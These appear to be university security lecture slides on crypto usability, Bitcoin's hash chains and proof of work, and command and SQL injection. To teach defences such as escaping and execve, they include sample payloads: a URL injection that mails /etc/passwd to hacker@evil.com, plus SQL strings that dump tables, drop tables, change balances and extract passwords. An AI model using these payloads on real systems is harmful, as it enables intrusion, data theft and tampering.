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A Bit More Applied Crypto, 
Crapto 

And Command Injection
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Unusability: 
No Public Keys
• The APCO Project 25 radio protocol

• Supports encryption on each traffic group

• But each traffic group uses a single shared key


• All fine and good if you set everything up at once...

• You just load the same key into all the radios

• But this totally fails in practice: what happens when you need to coordinate with 

somebody else who doesn't have the same keys?


• Made worse by bad user interface and users who think 
rekeying frequently is a good idea

• If your crypto is good, you shouldn't need to change your crypto keys


• "Why (Special Agent) Johnny (Still) Can't Encrypt

• http://www.crypto.com/blog/p25
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Unusability: 
PGP
• I hate Pretty Good Privacy

• But not because of the cryptography...


• The PGP cryptography is decent...

• Except it lacks "Forward Secrecy":  

If I can get someone's private key I can decrypt all their old messages


• The metadata is awful...

• By default, PGP says who every message is from and to

• It makes it much faster to decrypt


• It is hard to hide metadata well, but its easy to do things better than what PGP does


• It is never transparent

• Even with a "good" client like GPG-tools on the Mac

• And I don't have a client on my cellphone
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PGP in Two Images...
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Unusability: 
How do you find someone's PGP key?
• Go to their personal website?

• Check their personal email?

• Trust the "web of trust"?

• Ask them to mail it to you

• In an unencrypted channel?


• Check on the MIT keyserver?

• And get the old key that was mistakenly uploaded and can never be removed?
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Unusable: 
openssl libcrypto and libssl
• OpenSSL is a nightmare...

• A gazillion different little functions needed to do 

anything


• So much of a nightmare that I'm not 
going to bother learning it to teach you 
how bad it is

• This is why last semester's python-based project 

didn't give this raw


• But just to give you an idea: 
The command line OpenSSL utility 
options:
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Bitcoin's Goal

• A decentralized, distributed digital currency

• Decentralized: no point of authority or control

• Distributed: lots of independent systems, no central point of trust

• Digital Currency: Just that, a currency


• Bitcoin is censorship resistant money:

• Nobody can say "don't spend your money on X"


• Bitcoin's Crypto: Interesting

• So I will talk about it


• Bitcoin's Economics: Broken

• Bitcoin's Community: Bat-Shit Insane

• So I won't bother wasting people's time.  This is a subject for a Beer Rant, not a lecture
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Bitcoin’s Public Key Signature Algorithm 
ECDSA
• Elliptic Curve Digital Signature Algorithm

• So different math but conceptually similar to DSA


• 256b private key (32 bytes)

• Public key is 65 bytes


• Bitcoin “address” is not the public key but the hash of the public key

• RIPEMD-160(SHA-256(Kpub)) 

• Why double hashing?  Its a common weirdness in Bitcoin.


• After adding a checksum and Base 58 encoding you get a “Bitcoin address” of type 1 
you can send money to


• 1FuckBTCqwBQexxs9jiuWTiZeoKfSo9Vyi is a valid address

• I spent a lot of CPU time randomly generating private keys to find one that would match the desired 

prefix
8
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Interesting Implications of  
Hashed Public Keys
• The ECDSA public key is twice as large as the private key

• So hashing makes the public key a lot smaller

• But it makes the signatures themselves larger

• Since any signature also needs to include the full public key


• Validation of a signature becomes a 2-part process

• Validate that H(Kpub) = Address

• Validate that the signature is valid


• But if a private key is only used once, attacks which require 
the public key in advance can not work!
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Why This Matters: 
Quantum Computing
• A Quantum computer rips through elliptic curve schemes as well as 

classic discrete log (Diffie/Hellman) and RSA type schemes

• Given the public key it is trivial to find the private key

• Since the private key controls money, this would be catastrophic


• But at the same time, we don’t know how to build a quantum computer big enough to 
factor a number much larger than 15


• If you never use a private key more than once…

• By instead transferring all unspent money to a new random private key

• A Quantum Computer can’t steal your money if it can't come up with a solution before your 

spending is recorded!


• Many cryptographic systems need to worry today about Quantum 
computers which don’t yet exist.
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Hash Chains

• If a data structure includes a hash of the 
previous block of data

• This forms a “hash chain”


• So rather than the hash of a block validating 
just the block

• The inclusion of the previous block’s hash validates all the 

previous blocks


• This also makes it easy to add blocks to data 
structures

• Only need to hash block + hash of previous block, rather 

than rehash everything: 
How you can efficiently hash an "append only" datastructure
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Block N
H(Block N-1)

lots of other data

Block N - 1  
H(Block N-2)

lots of other data

Block N - 2  
H(Block N-3)

lots of other data
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Merkle Trees

• Lets say you have a lot of elements

• And you want to add or modify elements


• And you want to make the hash of the set 
easy to update


• Enter hash trees/merkle trees

• Elements 0, 1, 2, 3, 4, 5...

• H(0), H(1), H(2)...

• H(H(0) + H(1)), H(H(2)+H(3))...

• The final hash is the root of the top of the tree.


• And so on until you get to the root

• Allows you to add an element and update lg(n) hashes 

Rather than having to rehash all the data
12
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Proof of Work 
To Establish History
• Idea: If creating a block requires so much effort

• And it includes a pointer to all previous blocks

• Changing history becomes expensive:

• To rewrite the last k blocks of history requires the same amount of effort as recording 

those k blocks the first time around

• But at the same time, it must be cheap to verify the work was done


• Easy proof of work: generation partial hash collisions

• If the first N bits of a hash have to be zero…

• You are expected to need to try 2N times to find a collision

• But you only need to do a single hash invocation to check if someone else did the work
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Taken Together this creates

Bitcoin
• Every Bitcoin address (H(Kpub)) has a corresponding balance 

in a public ledger (the Blockchain)

• To spend Bitcoin…

• Sign a message saying “Pay to address A”

• Signature includes the address it is coming from

• Broadcast that message through the Bitcoin P2P network


• The rest of the P2P network…

• Confirms that both the signature is valid and the balance exists

• Then attempts to “mine” it into a new block on the Blockchain

• This acts to confirm the transaction
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Bitcoin Transactions

• A transaction consists of one or more inputs and 0 or more outputs

• Each input refers to a single unspent transaction output: 

the input spends the entire output in the transaction

• Each input is signed by the corresponding private key and includes the public key


• Each output simply refers to a destination address and amount

• If you want to make change, just send that to a new destination address or send it back to one of the 

input addresses


• Sum(outputs) <= Sum(inputs) 
• Any extra is paid to whoever mines the block (the Transaction Fee)


• Validating transactions:

• All inputs must refer to previously unspent outputs

• No double-spending, but requires knowing ALL previous Bitcoin transactions to validate!


• All inputs must cryptographically validate
15
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The Blockchain… 
Protected by Proof of Work
• All Bitcoin miners take all unverified transactions they want and compose them into a 

single block

• Block header contains a timestamp, a nonce, the hash of the previous block, and the hash of all transactions for 

this block

• Transactions are hashed in a Merkle tree to make it easy to add transactions to the block in progress


• Now all the miners try to find a hash collision:

• Modifying the block so that H(Block) < “difficulty” value

• First by modifying the nonce value and/or timestamp and then modifying the coinbase, a string in the "pay from" for the first 

transaction


• Once one finds a hash collision, it broadcasts the new block to the entire Bitcoin network

• Every other miner first verifies that block and then starts working on the next block


• Rule is always trust the longest chain

• Now to rewrite history to depth N it takes the same amount of work as used to generate the chain you are rewriting

• But at the same time, the current chain keeps growing!
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The Coinbase Transaction

• The first transaction in any block is special

• It actually has 0 inputs, instead it has a small amount of arbitrary data called the 

"coinbase"


• The coinbase data serves two purposes:

• It allows the miner to make a comment

• EG, claim credit, vote on proposals, etc


• It can be easily changed for searching for hash collisions

• When changing the coinbase the miner needs to update the Merkel tree but that's relatively cheap


• The output of this transaction is the miner's reward

• The miner fills it out as "pay to me"

• Both the current block reward (now at 12.5 BTC/block) and any value not otherwise spent
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Bitcoin Balances

• Each address has a balance associated with it

• The balance is in “Satoshi”, a fixed-point value = 0.00000001 BTC

• There have been Bitcoin systems with bugs related to fixed vs floating point issues


• This is actually the sum of all unspent outputs sent to this address

• Calculating an address's balance requires looking at every Bitcoin transaction ever 

done


• This is a problem!

• Bitcoin requires knowing every transaction from the dawn of the Blockchain in order to 

know that things are valid

• And currently this data grows by 1 MB every 10 minutes!  

• And can only support ~4-5 transactions per second across the world!
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Switching Gears: 
Web Security
• We've discussed classic C memory vulnerabilities...

• We've discussed cryptography

• A way of formally protecting communication channels


• Now its on to the ugly world of web application security

• Old days: Applications ran on computers or mainframes

• Today: Applications run in a split architecture between the web browser and web 

server


• Starting:  SQL Injection Attacks: Focusing on the server logic

• Next week: Same origin, xss, csrf attacks: Focusing on the 

interaction between the server and the client
19
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Consider a Silly Web Application...

• It is a cgi-bin program

• A program that is invoked with arguments in the URL


• In this case, it is look up the user in phonebook...

• http://www.harmless.com/phonebook.cgi?regex=Alice.*mith

20

/* print any employees whose name 
 * matches the given regex */ 
void find_employee(char *regex) 
{ 
  char cmd[512]; 
  snprintf(cmd, sizeof cmd, "grep %s phonebook.txt", regex); 
  system(cmd); 
}
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• Instead of http://harmless.com/phonebook.cgi?regex=Alice.*Smith

• How about http://harmless.com/phonebook.cgi?regex=foo%20x;
%20mail%20-s%20hacker@evil.com%20</etc/passwd;%20touch

•  Command becomes: "grep foo x; mail -s hacker@evil.com </etc/passwd; touch phonebook.txt" 

%20 is an escaped space in a URL

21

/* print any employees whose name 
 * matches the given regex */ 
void find_employee(char *regex) 
{ 
  char cmd[512]; 
  snprintf(cmd, sizeof cmd, "grep %s phonebook.txt", regex); 
  system(cmd); 
}

Control information, not data
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How To Fix Command Injection?

snprintf(cmd, sizeof(cmd),  
    "grep %s phonebook.txt", regex); 

• One general approach: input sanitization

• Look for anything nasty in the input …

• … and “defang” it / remove it / escape it


• Seems simple enough, but:

• Tricky to get right

• Brittle: if you get it wrong & miss something, you L0SE

• Attack slips past!


• Approach in general is a form of “default allow”

• i.e., input is by default okay, only known problems are removed

24
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How To Fix Command Injection?

snprintf(cmd, sizeof cmd, 
   "grep '%s' phonebook.txt", regex);

25

Simple idea: quote the data 
to enforce that it’s indeed 
interpreted as data …

⇒ grep 'foo x; mail -s hacker@evil.com </etc/passwd; rm' phonebook.txt

Argument is back to being data; a 
single (large/messy) pattern to grep

Problems?
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How To Fix Command Injection?

snprintf(cmd, sizeof cmd, 

   "grep '%s' phonebook.txt", regex);

26

…regex=foo' x; mail -s hacker@evil.com </etc/passwd; touch'

⇒ grep 'foo' x; mail -s hacker@evil.com </etc/passwd; touch' ' phonebook.txt

Whoops, control information again, 

Maybe we can add some special-casing and patch things 
up … but hard to be confident we have it fully correct!

This turns into an empty string, so 
sh sees command as just “touch”
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Issues With Input Sanitization

• In principle, can prevent injection attacks by properly 
sanitizing input


• Remove inputs with meta-characters

• (can have “collateral damage” for benign inputs)

• Or escape any meta-characters (including escape characters!)

• Requires a complete model of how input subsequently processed

• E.g. …regex=foo%27 x; mail … 


• Easy to get wrong!

• Better: avoid using a feature-rich API (if possible)

• KISS + defensive programming

27

%27 is an escape sequence 
that expands to a single quote
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The Root Problem: system

• This is the core problem.

• system() provides too much functionality!

• 	It treats arguments passed to it as full shell command

• If instead we could just run grep directly, no opportunity for 

attacker to sneak in other shell commands!

28

/* print any employees whose name 
 * matches the given regex */ 
void find_employee(char *regex) 
{ 
  char cmd[512]; 
  snprintf(cmd, sizeof cmd, "grep %s phonebook.txt", regex); 
  system(cmd); 
}
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/* print any employees whose name 
 * matches the given regex */ 
void find_employee(char *regex) 
{ 
  char *path = "/usr/bin/grep"; 
  char *argv[10];/* room for plenty of args */ 
  char *envp[1]; /* no room since no env. */ 
  int argc = 0; 
  argv[argc++] = path;/* argv[0] = prog name */ 
  argv[argc++] = "-e";/* force regex as pat.*/ 
  argv[argc++] = regex; 
  argv[argc++] = "phonebook.txt"; 
  argv[argc++] = 0; 
  envp[0] = 0; 
  if ( execve(path, argv, envp) < 0 ) 
    command_failed(.....); 
}

29

Safe: execve
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/* print any employees whose name 
 * matches the given regex */ 
void find_employee(char *regex) 
{ 
  char *path = "/usr/bin/grep"; 
  char *argv[10];/* room for plenty of args */ 
  char *envp[1]; /* no room since no env. */ 
  int argc = 0; 
  argv[argc++] = path;/* argv[0] = prog name */ 
  argv[argc++] = "-e";/* force regex as pat.*/ 
  argv[argc++] = regex; 
  argv[argc++] = "phonebook.txt"; 
  argv[argc++] = 0; 
  envp[0] = 0; 
  if ( execve(path, argv, envp) < 0 ) 
    command_failed(.....); 
}

30

execve() just executes a 
single specific program.

These will be separate 
arguments to the program

No matter what weird goop “regex” 
has in it, it’ll be treated as a single 
argument to grep; no shell involved
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Command Injection in the Real World
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Command Injection in the Real World

33
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Structure of Modern Web Services

35

Web 
server

URL / Form

command.php? 
arg1=x&arg2=y

Browser
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Structure of Modern Web Services

36

Web 
server

URL / Form

command.php? 
arg1=x&arg2=y

Database 
server

Database query 
built from x and y

Browser
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Structure of Modern Web Services

37

Web 
server

Database 
server

Custom data 
corresponding to x & y

Browser
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Structure of Modern Web Services

38

Web 
server

Web page built 
using custom data

Database 
server

Browser
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Databases

• Structured collection of data

• Often storing tuples/rows of related values

• Organized in tables

39

Customer

AcctNum Username Balance

1199 fry 7746533.71

0501 zoidberg 0.12

… … …

… … …
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Databases

• Management of groups  
(tuples) of related values


• Widely used by web 
services to track 
per-user information


• Database runs as separate process to which web server 
connects

• Web server sends queries or commands parameterized by incoming HTTP request

• Database server returns associated values

• Database server can also modify/update values

40

Customer

AcctNum Username Balance

1199 fry 7746533.71

0501 zoidberg 0.12

… … …

… … …
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SQL

• Widely used database query language

• (Pronounced “ess-cue-ell” or “sequel”)


• Fetch a set of records:

• SELECT field FROM table WHERE condition 
• returns the value(s) of the given field in the specified table, for all records where condition 

is true.


• E.g:

• 	SELECT Balance FROM Customer  
WHERE Username='zoidberg'  
will return the value 0.12

41

Customer

AcctNum Username Balance

1199 fry 7746533.71

0501 zoidberg 0.12

… … …

… … …
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SQL, con’t

• Can add data to the table (or modify):

•  INSERT INTO Customer  
 VALUES (8477, 'oski', 10.00) -- pay the bear

42

An SQL commentStrings are enclosed in single quotes; 
some implementations also support 
double quotes Customer

AcctNum Username Balance

1199 fry 7746533.71

0501 zoidberg 0.12
8477 oski 10.00
… … …
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SQL, con’t

• Can add data to the table (or modify):

• INSERT INTO Customer  

 VALUES (8477, 'oski', 10.00) -- oski has ten buckaroos  

• Or delete entire tables:

• DROP Customer 

• Semicolons separate commands:

• INSERT INTO Customer VALUES (4433, 'vladimir', 888.99); 

SELECT AcctNum FROM Customer WHERE Username='vladimir; 
• returns 4433.

43
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Database Interactions

44

Web Server

SQL DB

User

post form or  

parameterized URL

SQL query 
derived from 
user values 

return data

1

2

3
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Web Server SQL Queries

• Suppose web server runs the following PHP code:

$recipient = $_POST['recipient'];  
$sql = "SELECT AcctNum FROM Customer  
            WHERE Balance < 100 AND   
             Username='$recipient' ”;  
$result = $db->executeQuery($sql);    

• The query returns recipient’s account number if their balance is < 100


• Web server will send value of $sql variable to database server to 
get account #s from database


• So for “?recipient=Bob” the SQL query is:

• SELECT AcctNum FROM Customer WHERE Balance < 100 AND 

Username='Bob’ 
45
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The Parse Tree for this SQL

46

SELECT / FROM / WHERE

CustomerAcctNum AND

   =  <

 Balance 100  Username 'Bob'

SELECT AcctNum FROM Customer 
    WHERE Balance < 100 AND Username='Bob'
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SQL Injection

• Suppose web server runs the following PHP code:

$recipient = $_POST['recipient'];  
$sql = "SELECT AcctNum FROM Customer  
            WHERE Balance < 100 AND   
             Username='$recipient' ”;  
$result = $db->executeQuery($sql);    

• How can $recipient cause trouble here?

• How can we see anyone’s account?

• Even if their balance is >= 100

47
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Basic picture: SQL Injection

48

Victim Web Server

SQL DB

Attacker

post malicious form

unintended 
SQL queryreceive valuable data

1

2

3

$recipient specified by attacker

How can $recipient cause trouble 
here?
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SQL Injection Scenario, con’t

• WHERE Balance < 100 AND   
               Username='$recipient' 

• Conceptual idea (doesn’t quite work): Set recipient to  
“foo' OR 1=1”

• WHERE Balance < 100 AND   

               Username='foo' OR 1=1' 

• Precedence makes this:

• WHERE (Balance < 100 AND   

               Username='foo') OR 1=1 

• Always true!
49
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50

SELECT / FROM / WHERE

CustomerAcctNum

AND

   =  <

 Balance 100  Username 'foo'

 OR

   =

 1 1

SELECT AcctNum FROM Customer 
 WHERE (Balance < 100 AND  Username='foo') OR 1=1
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SQL Injection Scenario, con’t

• Why “foo' OR 1=1” doesn’t quite work:

• WHERE Balance < 100 AND   

               Username='foo' OR 1=1' 

• Syntax error, unmatched '


• So lets add a comment!

• "foo' OR 1=1--" 

• Server now sees

• WHERE Balance < 100 AND   

               Username='foo' OR 1=1 --' 

• Could also do "foo' OR ''='"

• So you can't count on --s as indicators of "badness"

51
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SQL Injection Scenario, con’t

• WHERE Balance < 100 AND   
               Username='$recipient' 

• How about $recipient =  
  foo'; DROP TABLE Customer; -- ? 

• Now there are two separate SQL commands, thanks to ‘;’ 
command-separator.


• Can change database however you wish!

52
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SQL Injection Scenario, con’t

• WHERE Balance < 100 AND   
               Username='$recipient’ 

• $recipient =  
  foo'; SELECT * FROM Customer; -- 

• Returns the entire database!

• $recipient =  
  foo'; UPDATE Customer SET Balance=9999999 
WHERE AcctNum=1234; -- 

• Changes balance for Acct # 1234!  MONEYMONEYMONEY!!!

53
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SQL Injection: Exploits of a Mom

54



Computer Science 161 Fall 2017 Weaver

55



Computer Science 161 Fall 2017 Weaver

SQL Injection: Summary

• Target: web server that uses a back-end database

• Attacker goal: inject or modify database commands to 

either read or alter web-site information

• Attacker tools: ability to send requests to web server (e.g., 

via an ordinary browser)

• Key trick: web server allows characters in attacker’s input 

to be interpreted as SQL control elements rather than 
simply as data 

56
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Blind SQL Injection

• A variant on SQL injection with less 
feedback

• Only get a True/False error back, or no 

feedback at all


• Makes attacks a bit more annoying

• But it doesn't fundamentally change the 

problem


• And of course people have 
automated this!

• http://sqlmap.org/

57
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Demo Tools

• Squigler

• Cool “localhost” web site(s) (Python/SQLite)

• Developed by Arel Cordero, Ph.D.

• I’ll put a copy on the class page in case you’d like to play with it


• Allows you to run SQL injection attacks for real on a web 
server you control


• Basically a ToyTwitter type application

58
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Some Squigler Database Tables

59

Squigs
username body time

ethan My first squig! 2017-02-01 
21:51:52

cathy @ethan: borrr-ing! 2017-02-01 
21:52:06

… … …
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60

def	post_squig(user,	squig): 
				if	not	user	or	not	squig:	return 
				conn	=	sqlite3.connect(DBFN) 
				c				=	conn.cursor() 
				c.executescript("INSERT	INTO	squigs	VALUES  
											('%s',	'%s',	datetime('now'));"	%  
																													(user,	squig))	
				conn.commit() 
				c.close()

INSERT	INTO	squigs	VALUES 
	 (dilbert,	'don't	contractions	work?', 
						date);

Syntax error

Server Code For Posting 
A "Squig"
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Another Interesting Database 
Table...

61

Accounts
username password public

dilbert funny ‘t’
alice kindacool ‘f’
… … …
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What Happens Now?

62

INSERT INTO squigs VALUES 
 (dilbert, ' ' || (select (username || ' ' || password) 
from accounts where username='bob') || ' ',  
      date);
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OOPS!!!!  :)

63
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 SQL Injection Prevention?

• (Perhaps) Sanitizate user input: check or enforce that value/
string that does not have commands of any sort

• Disallow special characters, or

• Escape input string

• SELECT PersonID  FROM People WHERE   Username=’ alice\’; 

SELECT * FROM People;’ 
• Risky because it’s easy to overlook a corner-case in terms of what to disallow or 

escape

• But: can be part of defense-in-depth...

• Except that IMO you will fail if you try this approach

64
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Escaping Input

• The input string should be interpreted as a string and not as 
including any special characters


• To escape potential SQL characters, add backslashes in front of 
special characters in user input, such as quotes or backslashes

• This is just like how C works as well: 

For a " in a string, you put \"


• Rules vary, but common ones:

• \' -> '

• \\ -> \

• etc...

65
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Examples

• Against what string do we compare Username (after SQL 
parsing), and when does it flag a syntax error? 

66

 [..] WHERE Username=’alice’; alice

 [..] WHERE Username=’alice\’;

 [..] WHERE Username=’alice\’’;

 [..] WHERE Username=’alice\\’;

because \\ gets converted to \ by the parser

alice\

alice’

Syntax error, quote not closed


